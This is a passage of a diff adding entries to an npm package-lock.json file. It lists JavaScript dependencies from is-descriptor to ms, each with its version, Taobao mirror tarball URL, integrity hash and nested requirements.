"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-0.1.6.tgz", + "integrity": "sha1-Nm2CQN3kh8pRgjsaufB6EKeCUco=", + "dev": true, + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-5.1.0.tgz", + "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0=", + "dev": true + } + } + }, + "is-docker": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/is-docker/download/is-docker-2.1.1.tgz", + "integrity": "sha1-QSWojkTkUNOE4JBH7eca3C0UQVY=", + "dev": true + }, + "is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npm.taobao.org/is-extendable/download/is-extendable-0.1.1.tgz", + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", + "dev": true + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/is-extglob/download/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "dev": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/is-glob/download/is-glob-4.0.1.tgz", + "integrity": "sha1-dWfb6fL14kZ7x3q4PEopSCQHpdw=", + "dev": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-negated-glob": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-negated-glob/download/is-negated-glob-1.0.0.tgz", + "integrity": "sha1-aRC8pdqMleeEtXUbl2z1oQ/uNtI=", + "dev": true + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npm.taobao.org/is-plain-object/download/is-plain-object-2.0.4.tgz", + "integrity": "sha1-LBY7P6+xtgbZ0Xko8FwqHDjgdnc=", + "dev": true, + "requires": { + "isobject": "^3.0.1" + } + }, + "is-relative": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-relative/download/is-relative-1.0.0.tgz", + "integrity": "sha1-obtpNc6MXboei5dUubLcwCDiJg0=", + "dev": true, + "requires": { + "is-unc-path": "^1.0.0" + } + }, + "is-stream": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/is-stream/download/is-stream-2.0.0.tgz", + "integrity": "sha1-venDJoDW+uBBKdasnZIc54FfeOM=", + "dev": true + }, + "is-unc-path": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-unc-path/download/is-unc-path-1.0.0.tgz", + "integrity": "sha1-1zHoiY7QkKEsNSrS6u1Qla0yLJ0=", + "dev": true, + "requires": { + "unc-path-regex": "^0.1.2" + } + }, + "is-utf8": { + "version": "0.2.1", + "resolved": "https://registry.npm.taobao.org/is-utf8/download/is-utf8-0.2.1.tgz", + "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", + "dev": true + }, + "is-valid-glob": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/is-valid-glob/download/is-valid-glob-1.0.0.tgz", + "integrity": "sha1-Kb8+/3Ab4tTTFdusw5vDn+j2Aao=", + "dev": true + }, + "is-what": { + "version": "3.14.1", + "resolved": "https://registry.npm.taobao.org/is-what/download/is-what-3.14.1.tgz", + "integrity": "sha1-4SIvRt3ahd6tD9HJ3xMXYOd3VcE=", + "dev": true + }, + "is-windows": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/is-windows/download/is-windows-1.0.2.tgz", + "integrity": "sha1-0YUOuXkezRjmGCzhKjDzlmNLsZ0=", + "dev": true + }, + "is-wsl": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/is-wsl/download/is-wsl-1.1.0.tgz", + "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=", + "dev": true + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/isarray/download/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/isexe/download/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", + "dev": true + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npm.taobao.org/isobject/download/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "isutf8": { + "version": "3.1.1", + "resolved": "https://registry.npm.taobao.org/isutf8/download/isutf8-3.1.1.tgz", + "integrity": "sha1-PyrHf0mv+yOuVIE9oaSrRKrfHXs=" + }, + "jquery": { + "version": "3.6.0", + "resolved": "https://registry.npm.taobao.org/jquery/download/jquery-3.6.0.tgz", + "integrity": "sha1-xyoJ8Vwb3OFC9J2/EXC9+K2sJHA=" + }, + "js-cookie": { + "version": "2.2.1", + "resolved": "https://registry.npm.taobao.org/js-cookie/download/js-cookie-2.2.1.tgz", + "integrity": "sha1-aeEG3F1YBolFYpAqpbrsN0Tpsrg=" + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npm.taobao.org/js-tokens/download/js-tokens-4.0.0.tgz", + "integrity": "sha1-GSA/tZmR35jjoocFDUZHzerzJJk=", + "dev": true + }, + "jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npm.taobao.org/jsesc/download/jsesc-2.5.2.tgz?cache=0&sync_timestamp=1603891198638&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjsesc%2Fdownload%2Fjsesc-2.5.2.tgz", + "integrity": "sha1-gFZNLkg9rPbo7yCWUKZ98/DCg6Q=", + "dev": true + }, + "json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/json-parse-better-errors/download/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha1-u4Z8+zRQ5pEHwTHRxRS6s9yLyqk=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npm.taobao.org/json-schema-traverse/download/json-schema-traverse-0.4.1.tgz?cache=0&sync_timestamp=1608000211395&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjson-schema-traverse%2Fdownload%2Fjson-schema-traverse-0.4.1.tgz", + "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA=", + "dev": true + }, + "json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/json-stable-stringify-without-jsonify/download/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, + "json5": { + "version": "2.2.0", + "resolved": "https://registry.npm.taobao.org/json5/download/json5-2.2.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjson5%2Fdownload%2Fjson5-2.2.0.tgz", + "integrity": "sha1-Lf7+cgxrpSXZ69kJlQ8FFTFsiaM=", + "dev": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "jstransform": { + "version": "11.0.3", + "resolved": "https://registry.npm.taobao.org/jstransform/download/jstransform-11.0.3.tgz", + "integrity": "sha1-CaeJk+CuTU70SH9hVakfYZDLQiM=", + "dev": true, + "requires": { + "base62": "^1.1.0", + "commoner": "^0.10.1", + "esprima-fb": "^15001.1.0-dev-harmony-fb", + "object-assign": "^2.0.0", + "source-map": "^0.4.2" + }, + "dependencies": { + "object-assign": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/object-assign/download/object-assign-2.1.1.tgz", + "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo=", + "dev": true + }, + "source-map": { + "version": "0.4.4", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.4.4.tgz", + "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", + "dev": true, + "requires": { + "amdefine": ">=0.0.4" + } + } + } + }, + "jsx-loader": { + "version": "0.13.2", + "resolved": "https://registry.npm.taobao.org/jsx-loader/download/jsx-loader-0.13.2.tgz", + "integrity": "sha1-l2f2Q5dcePXlq+upvFeIUpfnMtQ=", + "dev": true, + "requires": { + "jstransform": "11", + "loader-utils": "^0.2.2" + }, + "dependencies": { + "big.js": { + "version": "3.2.0", + "resolved": "https://registry.npm.taobao.org/big.js/download/big.js-3.2.0.tgz", + "integrity": "sha1-pfwpi4G54Nyi5FiCR4S2XFK6WI4=", + "dev": true + }, + "emojis-list": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/emojis-list/download/emojis-list-2.1.0.tgz", + "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", + "dev": true + }, + "json5": { + "version": "0.5.1", + "resolved": "https://registry.npm.taobao.org/json5/download/json5-0.5.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjson5%2Fdownload%2Fjson5-0.5.1.tgz", + "integrity": "sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=", + "dev": true + }, + "loader-utils": { + "version": "0.2.17", + "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-0.2.17.tgz", + "integrity": "sha1-+G5jdNQyBabmxg6RlvF8Apm/s0g=", + "dev": true, + "requires": { + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0", + "object-assign": "^4.0.1" + } + } + } + }, + "just-debounce": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/just-debounce/download/just-debounce-1.1.0.tgz", + "integrity": "sha1-L4GjrUEhp2vHy0Xb9wTA12qOXd8=", + "dev": true + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-6.0.3.tgz", + "integrity": "sha1-B8BQNKbDSfoG4k+jWqdttFgM5N0=", + "dev": true + }, + "last-run": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/last-run/download/last-run-1.1.1.tgz", + "integrity": "sha1-RblpQsF7HHnHchmCWbqUO+v4yls=", + "dev": true, + "requires": { + "default-resolution": "^2.0.0", + "es6-weak-map": "^2.0.1" + } + }, + "lazy-cache": { + "version": "1.0.4", + "resolved": "https://registry.npm.taobao.org/lazy-cache/download/lazy-cache-1.0.4.tgz", + "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=", + "dev": true + }, + "lazystream": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/lazystream/download/lazystream-1.0.0.tgz", + "integrity": "sha1-9plf4PggOS9hOWvolGJAe7dxaOQ=", + "dev": true, + "requires": { + "readable-stream": "^2.0.5" + } + }, + "lcid": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/lcid/download/lcid-1.0.0.tgz", + "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", + "dev": true, + "requires": { + "invert-kv": "^1.0.0" + } + }, + "lead": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/lead/download/lead-1.0.0.tgz", + "integrity": "sha1-bxT5mje+Op3XhPVJVpDlkDRm7kI=", + "dev": true, + "requires": { + "flush-write-stream": "^1.0.2" + } + }, + "less": { + "version": "3.13.1", + "resolved": "https://registry.npm.taobao.org/less/download/less-3.13.1.tgz", + "integrity": "sha1-DryR0qDpwMZzW4PUlrCrBYMHeQk=", + "dev": true, + "requires": { + "copy-anything": "^2.0.1", + "errno": "^0.1.1", + "graceful-fs": "^4.1.2", + "image-size": "~0.5.0", + "make-dir": "^2.1.0", + "mime": "^1.4.1", + "native-request": "^1.0.5", + "source-map": "~0.6.0", + "tslib": "^1.10.0" + }, + "dependencies": { + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/make-dir/download/make-dir-2.1.0.tgz", + "integrity": "sha1-XwMQ4YuL6JjMBwCSlaMK5B6R5vU=", + "dev": true, + "optional": true, + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/pify/download/pify-4.0.1.tgz", + "integrity": "sha1-SyzSXFDVmHNcUCkiJP2MbfQeMjE=", + "dev": true, + "optional": true + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz", + "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc=", + "dev": true, + "optional": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true, + "optional": true + } + } + }, + "less-loader": { + "version": "5.0.0", + "resolved": "https://registry.npm.taobao.org/less-loader/download/less-loader-5.0.0.tgz", + "integrity": "sha1-SY3eOmxsT4h0WO6e0/CGoSrRtGY=", + "dev": true, + "requires": { + "clone": "^2.1.1", + "loader-utils": "^1.1.0", + "pify": "^4.0.1" + }, + "dependencies": { + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/pify/download/pify-4.0.1.tgz", + "integrity": "sha1-SyzSXFDVmHNcUCkiJP2MbfQeMjE=", + "dev": true + } + } + }, + "liftoff": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/liftoff/download/liftoff-3.1.0.tgz", + "integrity": "sha1-ybpggfkIZwYH7nkGLXAN8GLFLtM=", + "dev": true, + "requires": { + "extend": "^3.0.0", + "findup-sync": "^3.0.0", + "fined": "^1.0.1", + "flagged-respawn": "^1.0.0", + "is-plain-object": "^2.0.4", + "object.map": "^1.0.0", + "rechoir": "^0.6.2", + "resolve": "^1.1.7" + } + }, + "load-json-file": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/load-json-file/download/load-json-file-1.1.0.tgz", + "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "strip-bom": "^2.0.0" + } + }, + "loader-runner": { + "version": "2.4.0", + "resolved": "https://registry.npm.taobao.org/loader-runner/download/loader-runner-2.4.0.tgz?cache=0&sync_timestamp=1610027938815&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Floader-runner%2Fdownload%2Floader-runner-2.4.0.tgz", + "integrity": "sha1-7UcGa/5TTX6ExMe5mYwqdWB9k1c=", + "dev": true + }, + "loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.4.0.tgz", + "integrity": "sha1-xXm140yzSxp07cbB+za/o3HVphM=", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + }, + "dependencies": { + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjson5%2Fdownload%2Fjson5-1.0.1.tgz", + "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=", + "dev": true, + "requires": { + "minimist": "^1.2.0" + } + } + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-5.0.0.tgz", + "integrity": "sha1-Gvujlq/WdqbUJQTQpno6frn2KqA=", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npm.taobao.org/lodash/download/lodash-4.17.21.tgz?cache=0&sync_timestamp=1613835860585&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flodash%2Fdownload%2Flodash-4.17.21.tgz", + "integrity": "sha1-Z5WRxWTDv/quhFTPCz3zcMPWkRw=", + "dev": true + }, + "lodash.clone": { + "version": "4.5.0", + "resolved": "https://registry.npm.taobao.org/lodash.clone/download/lodash.clone-4.5.0.tgz", + "integrity": "sha1-GVhwRQ9aExkkeN9Lw9I9LeoZB7Y=", + "dev": true + }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npm.taobao.org/lodash.debounce/download/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", + "dev": true + }, + "lodash.defaults": { + "version": "4.2.0", + "resolved": "https://registry.npm.taobao.org/lodash.defaults/download/lodash.defaults-4.2.0.tgz", + "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=", + "dev": true + }, + "lodash.flatten": { + "version": "4.4.0", + "resolved": "https://registry.npm.taobao.org/lodash.flatten/download/lodash.flatten-4.4.0.tgz", + "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=", + "dev": true + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npm.taobao.org/lodash.merge/download/lodash.merge-4.6.2.tgz", + "integrity": "sha1-VYqlO0O2YeGSWgr9+japoQhf5Xo=", + "dev": true + }, + "lodash.partialright": { + "version": "4.2.1", + "resolved": "https://registry.npm.taobao.org/lodash.partialright/download/lodash.partialright-4.2.1.tgz", + "integrity": "sha1-ATDYDoM2MmTUAHTzKbij56ihzEs=", + "dev": true + }, + "lodash.pick": { + "version": "4.4.0", + "resolved": "https://registry.npm.taobao.org/lodash.pick/download/lodash.pick-4.4.0.tgz", + "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=", + "dev": true + }, + "lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npm.taobao.org/lodash.uniq/download/lodash.uniq-4.5.0.tgz", + "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", + "dev": true + }, + "longest": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/longest/download/longest-1.0.1.tgz", + "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", + "dev": true + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npm.taobao.org/lru-cache/download/lru-cache-6.0.0.tgz?cache=0&sync_timestamp=1594427573763&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flru-cache%2Fdownload%2Flru-cache-6.0.0.tgz", + "integrity": "sha1-bW/mVw69lqr5D8rR2vo7JWbbOpQ=", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/make-dir/download/make-dir-3.1.0.tgz", + "integrity": "sha1-QV6WcEazp/HRhSd9hKpYIDcmoT8=", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + }, + "make-iterator": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/make-iterator/download/make-iterator-1.0.1.tgz", + "integrity": "sha1-KbM/MSqo9UfEpeSQ9Wr87JkTOtY=", + "dev": true, + "requires": { + "kind-of": "^6.0.2" + } + }, + "map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npm.taobao.org/map-cache/download/map-cache-0.2.2.tgz", + "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", + "dev": true + }, + "map-stream": { + "version": "0.0.7", + "resolved": "https://registry.npm.taobao.org/map-stream/download/map-stream-0.0.7.tgz", + "integrity": "sha1-ih8HiW2CsQkmvTdEokIACfiJdKg=", + "dev": true + }, + "map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/map-visit/download/map-visit-1.0.0.tgz", + "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", + "dev": true, + "requires": { + "object-visit": "^1.0.0" + } + }, + "matchdep": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/matchdep/download/matchdep-2.0.0.tgz", + "integrity": "sha1-xvNINKDY28OzfCfui7yyfHd1WC4=", + "dev": true, + "requires": { + "findup-sync": "^2.0.0", + "micromatch": "^3.0.4", + "resolve": "^1.4.0", + "stack-trace": "0.0.10" + }, + "dependencies": { + "findup-sync": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/findup-sync/download/findup-sync-2.0.0.tgz", + "integrity": "sha1-kyaxSIwi0aYIhlCoaQGy2akKLLw=", + "dev": true, + "requires": { + "detect-file": "^1.0.0", + "is-glob": "^3.1.0", + "micromatch": "^3.0.4", + "resolve-dir": "^1.0.1" + } + }, + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npm.taobao.org/is-glob/download/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + }, + "md5": { + "version": "2.3.0", + "resolved": "https://registry.npm.taobao.org/md5/download/md5-2.3.0.tgz?cache=0&sync_timestamp=1596362680344&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmd5%2Fdownload%2Fmd5-2.3.0.tgz", + "integrity": "sha1-w9qaaq46MLRreww0m4exENw72k8=", + "requires": { + "charenc": "0.0.2", + "crypt": "0.0.2", + "is-buffer": "~1.1.6" + } + }, + "md5.js": { + "version": "1.3.5", + "resolved": "https://registry.npm.taobao.org/md5.js/download/md5.js-1.3.5.tgz", + "integrity": "sha1-tdB7jjIW4+J81yjXL3DR5qNCAF8=", + "dev": true, + "requires": { + "hash-base": "^3.0.0", + "inherits": "^2.0.1", + "safe-buffer": "^5.1.2" + } + }, + "memory-fs": { + "version": "0.4.1", + "resolved": "https://registry.npm.taobao.org/memory-fs/download/memory-fs-0.4.1.tgz", + "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + }, + "merge-source-map": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/merge-source-map/download/merge-source-map-1.1.0.tgz", + "integrity": "sha1-L93n5gIJOfcJBqaPLXrmheTIxkY=", + "dev": true, + "requires": { + "source-map": "^0.6.1" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + } + } + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/merge-stream/download/merge-stream-2.0.0.tgz", + "integrity": "sha1-UoI2KaFN0AyXcPtq1H3GMQ8sH2A=", + "dev": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz", + "integrity": "sha1-cIWbyVyYQJUvNZoGij/En57PrCM=", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "miller-rabin": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/miller-rabin/download/miller-rabin-4.0.1.tgz", + "integrity": "sha1-8IA1HIZbDcViqEYpZtqlNUPHik0=", + "dev": true, + "requires": { + "bn.js": "^4.0.0", + "brorand": "^1.0.1" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz", + "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og=", + "dev": true + } + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npm.taobao.org/mime/download/mime-1.6.0.tgz?cache=0&sync_timestamp=1613584754851&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmime%2Fdownload%2Fmime-1.6.0.tgz", + "integrity": "sha1-Ms2eXGRVO9WNGaVor0Uqz/BJgbE=", + "dev": true, + "optional": true + }, + "mime-db": { + "version": "1.46.0", + "resolved": "https://registry.npm.taobao.org/mime-db/download/mime-db-1.46.0.tgz?cache=0&sync_timestamp=1613194744108&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmime-db%2Fdownload%2Fmime-db-1.46.0.tgz", + "integrity": "sha1-Ymd0in95lZTePLyM3pHe80lmHO4=", + "dev": true + }, + "mime-types": { + "version": "2.1.29", + "resolved": "https://registry.npm.taobao.org/mime-types/download/mime-types-2.1.29.tgz?cache=0&sync_timestamp=1613608491741&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmime-types%2Fdownload%2Fmime-types-2.1.29.tgz", + "integrity": "sha1-HUq3faZLkfX3JInfKSNlY3VLsbI=", + "dev": true, + "requires": { + "mime-db": "1.46.0" + } + }, + "mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/mimic-fn/download/mimic-fn-2.1.0.tgz?cache=0&sync_timestamp=1596095644798&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmimic-fn%2Fdownload%2Fmimic-fn-2.1.0.tgz", + "integrity": "sha1-ftLCzMyvhNP/y3pptXcR/CCDQBs=", + "dev": true + }, + "minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/minimalistic-assert/download/minimalistic-assert-1.0.1.tgz", + "integrity": "sha1-LhlN4ERibUoQ5/f7wAznPoPk1cc=", + "dev": true + }, + "minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/minimalistic-crypto-utils/download/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=", + "dev": true + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npm.taobao.org/minimist/download/minimist-1.2.5.tgz", + "integrity": "sha1-Z9ZgFLZqaoqqDAg8X9WN9OTpdgI=", + "dev": true + }, + "mississippi": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/mississippi/download/mississippi-3.0.0.tgz", + "integrity": "sha1-6goykfl+C16HdrNj1fChLZTGcCI=", + "dev": true, + "requires": { + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^3.0.0", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" + }, + "dependencies": { + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/pump/download/pump-3.0.0.tgz", + "integrity": "sha1-tKIRaBW94vTh6mAjVOjHVWUQemQ=", + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + } + } + }, + "mixin-deep": { + "version": "1.3.2", + "resolved": "https://registry.npm.taobao.org/mixin-deep/download/mixin-deep-1.3.2.tgz", + "integrity": "sha1-ESC0PcNZp4Xc5ltVuC4lfM9HlWY=", + "dev": true, + "requires": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/is-extendable/download/is-extendable-1.0.1.tgz", + "integrity": "sha1-p0cPnkJnM9gb2B4RVSZOOjUHyrQ=", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npm.taobao.org/mkdirp/download/mkdirp-0.5.5.tgz", + "integrity": "sha1-2Rzv1i0UNsoPQWIOJRKI1CAJne8=", + "dev": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "move-concurrently": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/move-concurrently/download/move-concurrently-1.0.1.tgz", + "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", + "dev": true, + "requires": { + "aproba": "^1.1.1", + "copy-concurrently": "^1.0.0", + "fs-write-stream-atomic": "^1.0.8", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.3" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.1.2.tgz?cache=0&sync_timestamp=1607433905701&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.2.tgz", + 